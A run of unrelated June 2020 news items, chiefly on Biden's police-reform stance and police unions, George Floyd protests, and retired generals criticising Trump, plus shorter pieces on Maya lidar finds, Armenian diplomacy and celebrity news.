I cant breatheI cant breathe, Biden said on Tuesday morning in Philadelphia, opening his first non-virtual event in nearly three months by quoting the dying words of George Floyd, a black Minneapolis man who was killed last week as a police officer kneeled on his neck for nearly nine minutes. Floyds plea for breath, Biden said, speak to a nation where too often just the color of your skin puts your life at risk.

Story continues

Its a wake-up call for our nationfor all of us, Biden continued. Its not the first time weve heard these wordstheyre the same words we heard from Eric Garner when his life was taken six years ago. But its time to listen to these words, understand them, and respond to them with real action.

In that address, Biden responded to the nationwide protests, now in their second week, with calls for Congress to enact long-overdue concrete changes to law enforcement, including a ban on chokeholds by law enforcement officers, to end the transfer of military weapons to police forces, craft a model use-of-force standard for engagement with suspects and protesters, and pledged to create a national police review board within the first 100 days of his administration.

Biden: Congress Must Ban Police Chokeholds Now

Its time to pass legislation that will give true meaning to our constitutional promise of equal protection under the law, Biden said.

Those remarks won Biden endorsements from progressives like former Housing and Urban Development Secretary Julian Castrobut for police unions, who Biden once considered instrumental in crafting legislation related to criminal justice, the former vice presidents new rhetoric has given them whiplash.

I was with him at numerous conferences and events, when we were his best friend, DiGiacomo said. They had a goal, and they sat down with police and got information from different cities throughout the United States on what we need, and how we could best protect the people of the United States, and he had input from the police and the police unions, on what was needed at the time. He didnt do that this time, though.

Id be the first one to tell you should there be some police reform, said Tom Scotto, who was president of the DEA in the 1990s and has also served as president of the National Association of Police Organizations, a coalition that lobbies on behalf of law enforcement. As head of the DEA, Scotto worked closely with Biden and his office on the crime bill and considers the former vice president a personal friend. But the federal government cant impose guidelines on everybody were gonna need another crime bill in the next five to ten years if this continues.

DiGiacomo was referring to the creation of the Violent Crime Control and Law Enforcement Act of 1994, the largest crime bill in American history, which provided nearly $10 billion in federal funding for prisons and added 100,000 police officers to forces across the country. Passed when national crime rates were at a record high, and after Democrats had been repeatedly drubbed by Republicans who accused them of being soft on crime, the bill was authored by Biden. For decades, Biden referred to the legislation as the Biden crime bill.

As the bill was being debated in the Senate in late summer of 1994, Biden boasted that he had crafted the legislation under the advice of nearly every major law enforcement organization and labor union in the country.

I did not call a liberal confab and write it; I did not call Johnsonian liberals, if there are any still alive, and write it; I did not call any big society people and write it. I called the cops, Biden said in his floor speech at the time. I called them all and they came in and sat in my office and I said, What do you need? They said, The first thing we need is we need more cops. And they said, The second thing we need is we need more prisons.

The bill, passed by a Democrat-held House and Senate and signed into law by President Bill Clinton, had until recently been considered one of Bidens landmark accomplishments in the Senate. Even former President Barack Obama once lauded it as starting an eight-year drop in crime across the country when he announced Biden as his running mate in 2008. But as the scale of unchecked police violence against black and minority people has come into focus in recent years, Biden has distanced himself from some of the bills more controversial inclusions, including sentencing disparities for possession of crack cocaine and a habitual offender provision that is seen as having contributed to mass incarceration of black men.

Violent crime had spiked to record levels and there was a broad consensus that it had to be addressed, which was a driving motivation behind the 1994 crime bill, a Biden adviser told The Daily Beast, describing the legislation as the product of a different time with different national concerns. The bill, however, was not a monolith, the adviser added, noting that the act also included funding for prevention programs, community policing, and gave the Justice Department to launch pattern or practice investigations into local police departments to uncover racial bias within police forces.

The Obama-Biden Department of Justice used this authority numerous times, the adviser said, most famously with the comprehensive report on the Ferguson Police Department. Many of those changes provided the foundations for the progressive reforms Joe Biden would fight for in the White House every single day.

This pullback, union leaders told The Daily Beast, may reassure liberals living in an America with the lowest crime rates since the mid-1960s, but it could outrage police unionsparticularly in light of Bidens longtime support for organized labor more broadly.

Its always better to educate people that are trying to make reform when they dont know what we do, have never walked in our shoes, never had been in a violent riot, and have never policed in the city of New York, DiGiacomo said. To criticize, and to make reform without knowing why youre making the reform, is quite disturbing.

Ed Mullins, president of the Sergeants Benevolent Association and a public Trump supporter, has made little secret of his preference for the presidents support of law and order policing and disdain for civilian oversight of police forces. In February, the union announced that the president has our backs!, although it has not officially endorsed the president yet.

The Biden adviser told The Daily Beast that the former vice presidents call for reform does not at all mean that we dont honor the men and women who put their lives on the line to protect us every single day.

What every American needs and deserves is for the fundamental rights and dignity of all people to be upheld, and for all communities without exception to have healthy and trusting relationships to the law enforcement officers we all depend on, the adviser said. That includes recognition for the invaluable sacrifice and service of our first responders.

Numerous law enforcement unions broke for Trump in 2016, and others endorsed his reelection even before the Democratic primary had begun.

Every top Democrat currently running for this office has vilified the police and made criminals out to be victims, said Sam Cabral, president of the International Union of Police Associations, in an endorsement last September that lauded Trump for doing more on behalf of law enforcement in two years than Obama had done in eight. They seem to take any unions support for granted While his candor ruffles the feathers of the left, I find it honest and refreshing. He stands with Americas law enforcement officer and we will continue to stand with him.

The Trump campaign has sought to exploit both that union enthusiasm and liberal concern about the 1994 crime bill, particularly as protests and riots have spread in response following Floyds death. In an email to supporters on Tuesday afternoon, the Trump campaign called Biden a serial race-baiter and the chief architect of mass incarceration and the War on Drugscomments that are difficult to square with Trumps recent demands that governors dominate protesters and send them to prison for a decade to quell the unrest.

Joe Bidens campaign made it clear that they stand with the rioters, the people burning businesses in minority communities and causing mayhem, by donating to post bail for those arrested, Katrina Pierson, senior adviser to the Trump campaign, said in a statement that accused Biden of simultaneously being both too cozy with protesters and too supportive of police crackdowns. Joe Biden has used the politics of racial division when they suited his needs and he is doing it again.

On Wednesday, the Trump campaign doubled down on that two-pronged criticism, calling Biden a typical Washington career politician who spent decades building up Americas mass incarceration system and poisoning the public discourse with race-baiting, divisive, and inflammatory remarks. Now he is posing as the candidate who can undo the damage his own policies and rhetoric created. Thats a joke.

But the goodwill Biden has built up with unions still has some potency with law enforcement. Part of his appeal during the Democratic primaries was his longstanding support among white working-class voters, many of whom decamped to Trump in the last election. Biden won the endorsement of the International Association of Fire Fighters last Aprila labor group whose rank-and-file membership, like law enforcement unions, is whiter and more conservative than many unionsonly five days into his campaign.

That kind of support could mitigate his moderation on issues relating to law enforcement funding and incarceration.

Ive got to give him credit for what he did already for us, said Scotto, who described Biden as a senator who could always be counted on to hear out law enforcement unions. Times are changing, and he sees it from a different viewpoint than I may see it, but Im sure his desire is to make a fair and equal America for everyone.

I mean, typical politician from a police union, in this climate, is high praise, said Eugene ODonnell, a professor at the John Jay College of Criminal Justice and a former officer in the New York Police Department. ODonnell told The Daily Beast that Bidens longtime support for organized laborand Trumps continued mishandling of the most widespread civil unrest in more than half a centurycould help shield the former vice president from the harshest critiques.

Police will know that Donald Trump has made their job gigantically more difficult, OK? ODonnell said. The president of the United States is threatening to send the Army in against teenagers.

But that tenuous supportpolice officers are twice as likely to donate to Trumps campaign as Bidens, according to a review of FEC datahas its limits, ODonnell noted.

According to the lunatic left that doesnt live in those communities, the police are worse than ISIStheres no organization in America thats worse than the police, ODonnell claimed. That is not an actual belief in the minds of most people, and in the minds of most African Americans, that is not where their heads are at.

To the Biden campaign, the crisis presented by the nationwide protests and the police violence that sparked them is the most pressing matter.

One of the most urgent crises at hand for the next president to solve and help the nation heal from is the senseless and continuous killing of Americans of color by law enforcement officers, the Biden adviser said. That is in no way mutually exclusive with respecting and honoring law enforcement and its indispensable role in our nation. Rather, it means showing leadership and taking the strong steps that everyone involved needs. And change cannot wait.

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Have Sheriff Offices in North Carolina, possibly even Beaufort County's Sheriff Office, become too political in the discharging of their sworn constitutional duties?

No, the sheriff is a constitutional officer.

Yes, the Sheriff Office, on strong occasion, often reverts back to political patronage in the dispensation of their sworn constitutional duties.
On Tuesday, June 9, at 12.00, the press center of the Interfax-Ukraine News Agency will host online conference by "October 25" expert initiative entitled "Local elections: Campaign has Started!" about the actual start of the election campaign, changes in the election legislation and typical "black" and "white" technologies that are already being used. Participants include members of the informal association of the expert initiative "October 25": political strategist, deputy director of the Agency for Modeling Situations Oleksiy Holobutsky; political scientist, director of the Politics analytical center Mykola Davydiuk; political expert of the Eidos Center Victor Taran; political expert, MP of the 8th convocation Oleksandr Chernenko (8/5a Reitarska Street). The broadcast will be available on the YouTube channel of Interfax-Ukraine. Admission requires press accreditation.
Scientists using light detection and ranging, or lidar, have revealed monumental architecture dating back to the ancient Mayan civilization in a site at Aguada Fenix, Mexico. These recent discoveries are challenging many traditional archaeological beliefs as well as raising debates on Mayan relationships with the Olmec civilization.

Traditionally, archaeologists thought that Mayan civilization's origins were marked by emerging small villages in 1000 B.C. to 350 B.C. during the Middle Preclassic period. Recent discoveries of ceremonial complexes are beginning to challenge that tradition as the clay and earth constructions date back from 1000 B.C. to 800 B.C.

Moreover, the airborne remote-sensing technique using lidar is changing archaeological research in forest regions. Much of the Mayan city of Tikal and other lost ruins have been uncovered by laser pulses gathering data on the contours of jungle- and vegetation-covered land.' Another vast network uncovered by lidar is the ancient cities of the Khmer Empire in Southeast Asia.

Going back a few thousand years, the Mayans were not using ceramics and were hunter-gatherers, thus maintaining a mobile lifestyle. Around 1200-1000 BC, social change in their civilization occurred when they practiced sedentism, settling in one place, and began using ceramics. It was not believed that they developed large pyramids with ceremonial centers much later, until now.

The large horizontal buildings are described as artificial plateaus in the study, measuring larger than 650 square feet. The lidar research done in Tabasco revealed that Aguada Fenix has the largest and oldest ceremonial center.

The Middle Usumacinta Archaeological Project was working on bridging the Mayans to the Olmenec society, who also had artificial plateaus, but had stone-head sculptures instead of pyramids. Archaeologists have debated that perhaps the Mayan lowlanders inherited Olmenec legacy in the region or received direct influence.

Another traditional belief is that civilizations could only accomplish building projects as large as these with the leadership of a king and a ruling class, explained Takeshi Inomata from the University of Arizona in Tuscon. However, there are no remnants of a royal class in the Mayan site.

Read Also: George Floyd Immortalized by Haitian Artist Woodly Claymitte in Sculpture: BlackLivesMatter

Communal Work

In Aguada Fenix, a plateau was uncovered measuring at about 4,600 feet in length and 32 feet to 49 feet in height with 9 causeways leading outward. This suggests the importance of communal work.

'The public spaces at Aguada Fenix are huge, and there is nothing to indicate that access was limited to a privileged few,' said Andrew Scherer, and archeologist who was not part of the study. Inomata also suspects that the nine causeways were filled with processions of participants.

Sculptures

The team also discovered a limestone animal sculpture at the site which was most likely a coatimundi or a white-lipped peccary, which they nicknamed Choco. This animal depiction contrasts the sculptures at a later date which celebrated governors, high-ranking Mayans, and supernatural beings.

Inomata explains that 'Though there were probably some [Aguada Fenix] leaders who played central roles in planning and organizing such work, the main factor was people's voluntary participation, which does not necessarily require a centralized government.' Most likely gatherings occurred on special occasions related to astronomical events and other important dates.

Read Also: Viewers Show Proofs 'Extraterrestrials' were Spotted and can be Seen on the SpaceX Dragon Live Stream
YEREVAN, JUNE 5, ARMENPRESS. President of Armenia Armen Sarkissian sent a congratulatory letter to Queen Margrethe II of Denmark on the countrys national holiday - Constitution Day, the Presidential Office told Armenpress.

President Sarkissian highlighted further strengthening the friendly relations with Denmark which are based on mutual respect and developing the cooperation at bilateral and multilateral formats.

He wished Queen Margrethe II and the Royal family good health, and further development and welfare to the good people of Denmark.

Editing and Translating by Aneta Harutyunyan
She welcomed her first child with fiance Marius Jensen in November 2018.

And Kara Tointon continued to look every inch the doting mum as she took 17-month-old son Frey out for a stroll in Notting Hill on Friday.

The Mr Selfridge actress, 36, cut a casual figure in a black padded jacket and a pair of up-turned blue jeans.

Understated: Kara Tointon, 36, looked every inch the doting mum as she took 17-month-old son Frey out for a stroll in Notting Hill on Friday

She styled her honey tresses in a messy bun and finished the look with statement sunglasses and Nike trainers.

Kara determinedly manoeuvred Frey across the pavements in his pram as they stepped out before the spell of bad weather.

The adorable little boy was decked out in a blue sweater, red trousers and tiny white bootees.

Incognito: The Mr Selfridge actress cut a casual figure in a black padded jacket and a pair of up-turned blue jeans

The outing comes after Kara and doctor fiance Marius Jensen said they were toying with the idea of getting married in Marius' native Norway later this year, before the coronavirus crisis happened.

Speaking during an appearance on ITV's Lorraine last year, the actress revealed the couple will be tying the knot sometime in 2020.

She said: 'Well, (the wedding) is in the schedule. Do we do it in Norway? That would be nice, but it's getting everyone over there. Yeah, it's in the plan.'

The pair became parents for the first time in November 2018, when they welcomed son Frey into the world.

Speaking about the experience of starting a family with Marius, Kara said: 'He [Marius] is rather lovely, isn't he? I did well.

'They always say there's no right time to have kids, if you want it you just have to get on with it. We all muck in, I love it.'

Before finding love with Marius, Kara previously had relationships with her EastEnders co-star Joe Swash and ex Strictly pro Artem Chigvintsev.
LAPEER, MI-- Anthony Sisson was 14 when a police officer pulled a gun on him and his brother.

Sisson, who is black, was walking home with an Airsoft gun in his hand when the officer commanded him to drop it and get into the ditch. The officer then placed his knee on the back of Sissons brothers neck and arrested him.

This was a defining moment in Sissons life. As a black man, Sisson said he inherited a target on his back. Sisson, now 28, shared his story to a crowd of 100 people, mostly white, during a peaceful assembly against police brutality in Lapeer on June 6.

Danger came and found me that day," Sisson said. "It taught me a harsh lesson. (Killing black people) isnt just something thats now making the news, its always happened, its just now getting recorded.

Organizers of the assembly, Nicklaus Huntley and Elizabeth Kroll, held the event to unify the community against police brutality in the wake of George Floyd, a black man, being killed while in custody of the Minneapolis police. Another assembly took place at 5 p.m. at the Lapeer District Library.

The two young activists started planning the event at Cramton Park on Sunday. Kroll said the event was met with resistance from the community.

People were threatening to show up with guns because they didnt want anything to happen to the buildings here, Kroll said. I felt better when the police chief and sheriff got involved.

Several residents spoke during the assembly, stating their support black Americans and reiterating that black lives matter. Darius Miller, a Lapeer resident, shared his own experiences as a black American. Miller said he was picked on and called profanities growing up because of the color of skin.

Miller said the support of the police and sheriffs departments set peaceful precedence.

A lot of us were met with resistance, but were all here together peacefully. Some people in Lapeer didnt think this was needed. We are showing them that it is, Miller said.

Lapeer Police Chief David Frisch and Lapeer County Sherriff Scott McKenna attended the assembly to show support. Frisch also posted about the event on the departments Facebook page, reassuring the community the assembly would be peaceful.

I am so proud of our community, Frisch said. We have so many people out here.

Frisch said he watched the video of Floyd being killed while in custody and was disgusted by it.

To see someone in my profession behave like that, its inexcusable. Anyone that tries to justify that is wrong, Frisch said. This is a time to stand up.

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Ambedkar Nagar : , June 5 (IANS) A police official in Ambedkar Nagar has been suspended because he was given a 'royal' farewell by his colleagues after his transfer.

Manoj Singh was posted as the Station House Officer (SHO) in Baskhari police station. He was transferred on Wednesday, allegedly on a complaint by a local BJP MLA.

Thereafter, Singh was given a farewell by his colleagues who led a procession a cavalcade of five police bikes and three police jeeps that escorted him.

As the video of the farewell went viral on the social media on Thursday, Ambedkar Nagar SP Alok Priyadarshi suspended Singh for violating restrictions of social distancing and also initiated a probe into the entire incident.

The 39-second video shows the SHO is being given a royal farewell and policemen in uniform are a part of the procession. The jeeps are heard blowing horns and siren in the procession.

Terming the SHO's transfer from Baskhari to Zaidpur as 'routine', the SP said, "In the video that was widely shared on social media platforms, none of policemen could be seen wearing a face-mask. Also, they are not observing proper social distancing. It has also come to our notice that the convoy also disturbed the movement of vehicles on the main road." A FIR under the charges of lockdown violation has been registered against Singh and other unidentified policemen, the officer added.

The others in the procession are being identified and will also face action, the SP said.
Another retired general has joined the criticism of President Donald Trump.

Martin Dempsey, the former Joint Chiefs of Staff chairman, criticized Trump's threat to use military force to suppress the protests around the nation as 'dangerous' and 'very troubling.'

'The idea that the president would take charge of the situation using the military was troubling to me,' Dempsey told NPR.

'The idea that the military would be called in to dominate and to suppress what, for the most part, were peaceful protests  admittedly, where some had opportunistically turned them violent  and that the military would somehow come in and calm that situation was very dangerous to me,' he added.

Martin Dempsey, the former Joint Chiefs of Staff chairman, criticized Trump's threat to use military force to suppress the protests and former Secretary of State Colin Powell could be next

Dempsey is the latest prominent military figure to condemn President Trump for his administration's response to demonstrators who are protesting in the wake of George Floyd's death.

And more voices could join in.

Former Secretary of State Colin Powell, a retired four star general who also served as Chairman of the Joints, is scheduled to appear on CNN's 'State of the Union' on Sunday, where he will likely be asked about Trump's actions.

A chorus of retired officers spoke out against the president with to rebuke him for calling in active duty military in the midst of Floyd protests

And retired General John Kelly, Trump's former chief of staff, called the president 'nasty' for his comments about General Jim Mattis.

Kelly, a retired Marine Corps general, defended Trump's former defense secretary on Thursday after Mattis publicly criticized the president's handling of the nationwide protests.

He also shot down Trump's claim that he fired Mattis in 2018.

'The president did not fire him. He did not ask for his resignation,' Kelly asserted in a Washington Post interview Thursday afternoon. 'The president has clearly forgotten how it actually happened or is confused.

'The president tweeted a very positive tweet about Jim until he started to see on Fox News their interpretation of his letter. Then he got nasty. Jim Mattis is an honorable man,' Kelly said.

The interview was ahead of Kelly appearing Friday with Anthony Scaramucci - 'the Mooch' - whose 10-day tour as White House director of communications ended in his firing and who has now become a resolute Republican critic of the president.

Mattis submitted his resignation in late December 2018, and stayed on until after the New Year, amid reports of rising tensions between the Defense secretary and president.

Although Mattis had remained largely silent about his former boss, on Wednesday he released a statement criticizing Trump's handling of protests that have erupted across the country following the killing of George Floyd at the hands of a white police officer.

Mattis accused Trump of deliberately trying to divide Americans and likened his actions to the rhetoric of Nazis to 'divide and conquer.'

Who's going next? All six of these four-star Marine generals are now retired. Jim Mattis (standing, left) has called Donald Trump a danger to the Constitution; John Kelly (seated, left), called Trump's attack on Mattis 'confused' and nasty'; John Allen (second right) accused Trump of trying to plunge the U.S. into 'illiberalism'; which leaves Joe Dunford, Trump's first chairman of the joint chiefs (seated, second from left); James Amos (standing, right); and John Paxton (right) who have not spoken out

General John Kelly is the latest retired general to speak out against the president, calling his comments against John Kelly 'nasty.' Anthony Scaramucci, who had a short 10-day stint as Trump's director of communications, will host a talk with Kelly on Friday as part of a global leadership forum, where the former chief of staff could come out in full force against his former boss

Brutal fact check: John Kelly called Donald Trump's claim he fired Jim Mattis 'confused' and his tone when Mattis left 'nasty'

'Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead, he tries to divide us,' Mattis wrote in a statement first published by the Atlantic.

Other generals, including fired four-star Marine Corps General John Allen and Chairman of the Joint Chiefs of Staff Mark Milley, also spoke out against the president's actions  especially in regards to bringing in active duty military to the nation's capital.

Kelly could join them as he announced shortly after defending Mattis that he will be interviewed by Anthony Scaramucci, who had a very short stint as White House Communications Director under Trump.

Trump was quick to fire back at Mattis in a two-part tweet laced with inaccuracies.

'Probably the only thing Barack Obama & I have in common is that we both had the honor of firing Jim Mattis, the world's most overrated General. I asked for his letter of resignation, & felt great about it,' Trump tweeted Wednesday evening.

'His nickname was 'Chaos', which I didn't like, & changed to 'Mad Dog,' Trump added.

He doubled down on his claim later Thursday evening.

'The problem with asking for someone to give you a letter of resignation, which you do as a courtesy to help them save face, is that it is then harder to say you fired them. I did fire James Mattis. He was no good for Obama, who fired him also, and was no good for me!,' the president wrote.

He then attacked Kelly.

'John Kelly didnt know I was going to fire James Mattis, nor did he have any knowledge of my asking for a letter of resignation. Why would I tell him, he was not in my inner-circle, was totally exhausted by the job, and in the end just slinked away into obscurity. They all want to come back for a piece of the limelight!,' the president tweeted.

While Trump claimed that he fired Mattis, the general had submitted his resignation after he disagreed with Trump's decision to pull US forces out of Syria.

His military call sign was 'Chaos' which stands for 'Colonel Has Another Outstanding Suggestion'. He was given his nickname 'Mad Dog', which Mattis reportedly does not like, years before Trump came into office.

'His primary strength was not military, but rather personal public relations. I gave him a new life, things to do, and battles to win, but he seldom 'brought home the bacon'. I didn't like his 'leadership' style or much else about him, and many others agree. Glad he is gone!' Trump added.

Mattis' op-ed was the first time ever that he openly and intently directed criticism at his former boss.

Milley also put himself at odds with President Trump in a Thursday memo telling troops to 'defend the Constitution.'

In the memo he also asserted that the National Guard was not under federal control as Trump demands governors activate the reservist unit in their states.

The chairman of the Joint Chiefs of Staff said in a letter to top military leaders that armed forces will continue to protect Americans' right to 'freedom of speech and peaceful assembly,' as the president has called in troops to defend Washington, D.C.

'We all committed our lives to the idea that is America,' Milley hand-wrote in as an addition to the bottom of the letter. 'We will stay true to that and the American people.'

The letter represented an extraordinary public statement from the most senior U.S. military officer and was clearly directed at the Commander-in-Chief.

Coming after the words of Mattis, and two other former chairmen of the joint chiefs, it suggested serious misgivings by the military about Trump himself.

Milley's attempt to distance himself from the president comes as the general was recently rebuked by retired generals after he marched out of the White House as part of Trump's entourage for a photo-op in front of St. John's Episcopal Church while dressed in his combat uniform.

Some asserted if he was going to participate in the stunt, he should have worn his service or greens uniform.

Defense Secretary Mark Esper defended Milley's uniform choice, saying it was 'appropriate,' after a series of former military leaders voiced anger at both men's conduct and warned they were politicizing the military.

Senator Lisa Murkowski, a Republican from Arkansas, defended Mattis's statement was 'honest and necessary and overdue.'

When asked if she can still show support for the president, she said: 'I'm struggling with it.'

Despite the president insisting that a 'show of force' must be exhibited in Washington, D.C. to quell rioters and violent protesters, the scene was much more tame Tuesday and Wednesday night than previously, with more peaceful protests taking place across the nation. In D.C., local police said there were no arrests.

Chairman of the Joint Chiefs of Staff Mark Milley issued a public rebuke of Donald Trump in a Thursday memo where the told troops to 'uphold the Constitution' as the president called the military to defend Washington D.C. against George Floyd rioters

In a handwritten note at the bottom of the memo, Milley reminded military leaders: 'We all committed our lives to the idea that is America' after he defended protesters' right to assemble

Milley faced backlash from retired generals for marching out of the White House in his combat uniform rather than his service or greens uniform  meant for more formal settings like the White House or Capitol Hill

His letter came after General John Allen (left) and former Defense Secretary Jim Mattis (right), both retired four-star Marine generals, denounced the president's decision to call in the U.S. Military to assist with rioters

Despite the president's steadily increasing demand for force to quell demonstrators, Wednesday night's protests across the country were widely peaceful, with few to no instances of violence, looting, rioting or arson, which riddled other days of protests

Retired Marine Corp four-star General John Allen lashed out at Trump in his own op-ed Wednesday claiming his actions in the midst of violent nationwide riots over the death of George Floyd are 'shameful.'

Allen, who commanded the International Security Assistance Force in Afghanistan then was an envoy in the international effort against ISIS, insisted Trump's presidency could be the 'beginning of the end of American democracy.'

'The slide of the United States into illiberalism may well have begun on June 1, 2020,' Allen wrote in an op-ed published to ForeignPolicy.com. 'Remember the date. It may well signal the beginning of the end of the American experiment.'

The retired general is referencing the Monday, June 1 outing when Trump stepped outside the White House with an entourage of Secret Service, administration officials, aides and media, walked across Lafayette Park, which was clear of protesters minutes earlier by use of tear gas and rubber bullets, and arrived at St. John's Episcopal Church for a photo-op with his bible.

The stunt came in the midst of days-long peaceful and violent protests across the nation over the death of George Floyd at the hands of a white cop in Minneapolis, Minnesota on Memorial Day.

Milley asserted in the memo that only the National Guard, a reservist unit of the Army, is responding to the riots at the activation of governors  and not the federal government.

'As members of the Joint Force  comprised of all races, colors, and creeds  you embody the ideals of our Constitution,' Milley wrote in the letter the chiefs of the Army, Navy, Air Force, National Guard and Space Force and Commandants of the Marine Corps and Coast Guard, as well as to the Commanders of the Combatant Commands.

Retired four-star Marine General John Allen (pictured with an Iraqi tribal leader in 2007) denounced Donald Trump's actions in the midst of nationwide unrest, claiming his presidency could be the 'beginning of the end of the American experiment'

'Please remind all of your troops and leaders that we will uphold the values of our nation, and operate consistent with national laws and out own high standards of conduct at all times,' he concluded.

Trump's Senate ally Lindsey Graham accused Mattis Thursday morning of 'buying into' the 'liberal media' narrative.

'To General Mattis, I think you're missing something here, my friend,' the senator from South Carolina told Fox & Friends 'You're missing the fact that the liberal media has taken every event in the last three and a half years and laid it at the presidency.'

'I'm not saying he's blameless,' Graham continued in rare partial criticism of Trump, 'but I am saying you're buying into a narrative that I think is quite frankly unfair.'

He conceded, however, that 'Mattis has the right to express himself because of his military service.

'General Mattis has the right to express himself because he's served the country over a long period of time put himself at risk for the nation,' Graham said. 'But the one thing I would tell General Mattis that from the time President Trump wakes up, to go to bed there's an effort to destroy his presidency.'

He also called out Trump's Monday walk from the White House, across Lafayette Park to St. John's Episcopal Church for a photo-op with his bible, claiming: 'The slide of the United States into illiberalism may well have begun on June 1, 2020'

'[T]he president proclaimed himself the 'ally of peaceful protesters.' But, at that very moment, just a few hundred feet away across Lafayette Park, fully equipped riot police and troops violently, and without provocation, set upon the peaceful demonstrators there, manhandling and beating many of them, employing flash-bangs, riot-control agents, and pepper spray throughout,' Allen wrote

The scene in Washington, D.C. was filled with peaceful protests on Wednesday  a break from days prior

High five: Here a D.C. resident high-fives a three-year-old present at the protests as a police barricade blocks a street leading to the White House

In Atlanta, police knelt in the street with peaceful protesters

Thousands of noisy  but still peaceful  protesters also marched the streets of New York City to call for justice for George Floyd, a black man who was killed during an arrest by a white cop

Former Defense Secretary James Mattis broke his silence on Trump's leadership and revealed he is 'angry and appalled' at his handling of the George Floyd protests

Utah National Guard soldiers stand on a police line as demonstrators gathered to protest the death of George Floyd in Washington D.C. on Wednesday night

Members of the DC National Guard remained on guard outside the Lincoln Memorial on Thursday after keeping watch through the night despite an easing of tensions between demonstrators and law enforcement

A man yells at soldiers at sunrise outside the White House on Thursday morning. The protests in D.C. remained peaceful throughout Wednesday and Wednesday night

Members of the D.C. National Guard gear-up after a short rest from standing guard at the Lincoln Memorial Thursday on what will be the seventh day of protests in DC over the death of George Floyd. Demonstrations remained peaceful Wednesday

Hundreds of demonstrators stayed as close to the White House as they could get as the 11pm curfew approached and continued to chant until the early hours of Thursday morning

A soldier keeps watch at the Lincoln Memorial as thousands of peaceful demonstrators were met with a huge military presence Wednesday following a week of tenses clashes in the capital

Allen, who has also spent his life in public service, expressed in his op-ed his opposition to the president's mobilization of the U.S. Military to ward off and quell rioters and condemned Trump's comparison of the violent protesters ravaging cities to 'domestic terrorists.'

Mostly, however, the president of the Brookings Institute  often referred to as a liberal-centrist think tank  was disappointed in the use of force to clear the way for a presidential photo-op.

'[T]he president proclaimed himself the 'ally of peaceful protesters.' But, at that very moment, just a few hundred feet away across Lafayette Park, fully equipped riot police and troops violently, and without provocation, set upon the peaceful demonstrators there, manhandling and beating many of them, employing flash-bangs, riot-control agents, and pepper spray throughout,' Allen wrote.

On Monday, law enforcement forced peaceful demonstrators from the park ahead of Trump's short visit to the church across Pennsylvania Avenue from the North Lawn of the White House.

They used tear gas and nonlethal rubber bullets to disperse the crowd.

Senior defense officials told reporters the two were not aware that the Park Police and law enforcement had made a decision to clear the square or that Trump intended to visit the church.

They had been in Washington to coordinate with federal law enforcement officials but were diverted to the White House to brief Trump on military preparations, the officials said.

Administration officials privately acknowledged Monday's events did not do the administration any justice.

Even some Republican lawmakers who are typically in sync with the president said Trump went too far in using force to clear the way for his less than five-minute visit to the church.

On Tuesday, a senior White House official said the president wanted to make the aggressive action an example for the rest of the country.

Trump pushed back against Mattis' comments on Wednesday, claiming he is the 'world's most overrated general' after the Marine veteran denounced the president's leadership in the face of the nationwide protests.

Mattis spoke out for the first time publicly since his acrimonious December 2018 exit from the White House by blasting Trump as making a 'mockery of the Constitution' in a fiery statement shared Wednesday.

Although Mattis has alluded to criticism of his former boss in the past, he has never been this forthcoming with his disappointment in the president.

White House Press Secretary Kayleigh McEnany defended the president and criticized Mattis as ineffectual.

'Former Secretary Mattis' 'article' is little more than a self-promotional stunt to appease the DC elite. President Donald Trump is the law and order President that has restored peace to our nation's streets. Mattis' small words pale in comparison to POTUS' strong action.'

In his statement Mattis likened Trump's tactics of seeking to 'divide' the nation to that of the Nazis.

'Instructions given by the military departments to our troops before the Normandy invasion reminded soldiers that 'The Nazi slogan for destroying us  was 'Divide and Conquer,' he writes. 'Our American answer is 'In Union there is Strength.' We must summon that unity to surmount this crisis - confident that we are better than our politics.'

White House Press Secretary Kayleigh McEnany condemned Mattis' article, calling it 'a self-promotional stunt to appease the DC elite'

60 Minutes Correspondent John Dickerson said that he wrote a profile on Mattis 11 years ago, noting that Mattis' had the nickname 'Mad Dog' years before Trump was in office, and it was a nickname he disliked

Law enforcement fired tear gas and rubber bullets at protesters gathered in Lafayette Park to disperse the crowd for the president's photo-op in front of the church, which was set on fire in Sunday riots outside the White House

His statement about Trump seeking to divide the nation immediately follows.

'We are witnessing the consequences of three years of this deliberate effort. We are witnessing the consequences of three years without mature leadership. We can unite without him, drawing on the strengths inherent in our civil society,' he continues.

He pointedly takes on Trump's photo-op Monday, writing that he us 'angry and appalled' by the unfolding events.

'We know that we are better than the abuse of executive authority that we witnessed in Lafayette Square. We must reject and hold accountable those in office who would make a mockery of our Constitution. At the same time, we must remember Lincoln's 'better angels,' and listen to them, as we work to unite,' Mattis wrote.

He called for unity and calm. 'This will not be easy, as the past few days have shown, but we owe it to our fellow citizens; to past generations that bled to defend our promise; and to our children.'

His blistering article comes as other former military officials, including former head of the joint chiefs of staff Admiral Mike Mullen, blasted Trump for seeking to 'politicize' the military.

He also blasts a comment by Secretary of Defense Mark Esper, whose job is already in jeopardy, for his comment calling for governors to 'dominate the battlespace' in U.S. cities.

'We must reject any thinking of our cities as a 'battlespace' that our uniformed military is called upon to 'dominate.' At home, we should use our military only when requested to do so, on very rare occasions, by state governors. Militarizing our response, as we witnessed in Washington, D.C., sets up a conflicta false conflictbetween the military and civilian society,' he writes.

'It erodes the moral ground that ensures a trusted bond between men and women in uniform and the society they are sworn to protect, and of which they themselves are a part.'

Mattis also joined Allen in denouncing the 'bizarre photo-up' that Trump ordered up, as federal police backed up by the National Guard cleared away peaceful protesters in Lafayette Park.

'When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution,' writes Mattis. 'Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the Constitutional rights of their fellow citizensmuch less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside.'

Mattis indicated when he resigned his post that he felt an obligation to keep comments to himself. 'There is a period in which I owe my silence. It's not eternal. It's not going to be forever,' he said at the time.

While he was in office, Mattis stood out among other cabinet officials for failing to shower the president with over-the-top praise at public events.

Behind the scenes, there were clashes  and Mattis even told aides he would rather 'swallow acid' than allow Trump to throw a $50 million 'Victory Parade' in the nation's capital.

Esper was fighting for his job Wednesday even as authorities seek to gain control of the nation's streets  as he contradicted President Donald Trump on use of a special military authority and the Army announced a sudden reversal on a plan to start withdrawing active duty troops from around Washington.

The day featured sudden turnarounds and contradicting explanations about the photo-op that both Esper and the president joined in on Monday, with no clear plan about how regular military, National Guard forces, local police, and outside forces are coalescing to attempt to maintain order.

About 200 members of the Army's 82nd Airborne division were to have departed the D.C. were ordered back to Fort Bragg, North Carolina on Thursday evening.
By IANS
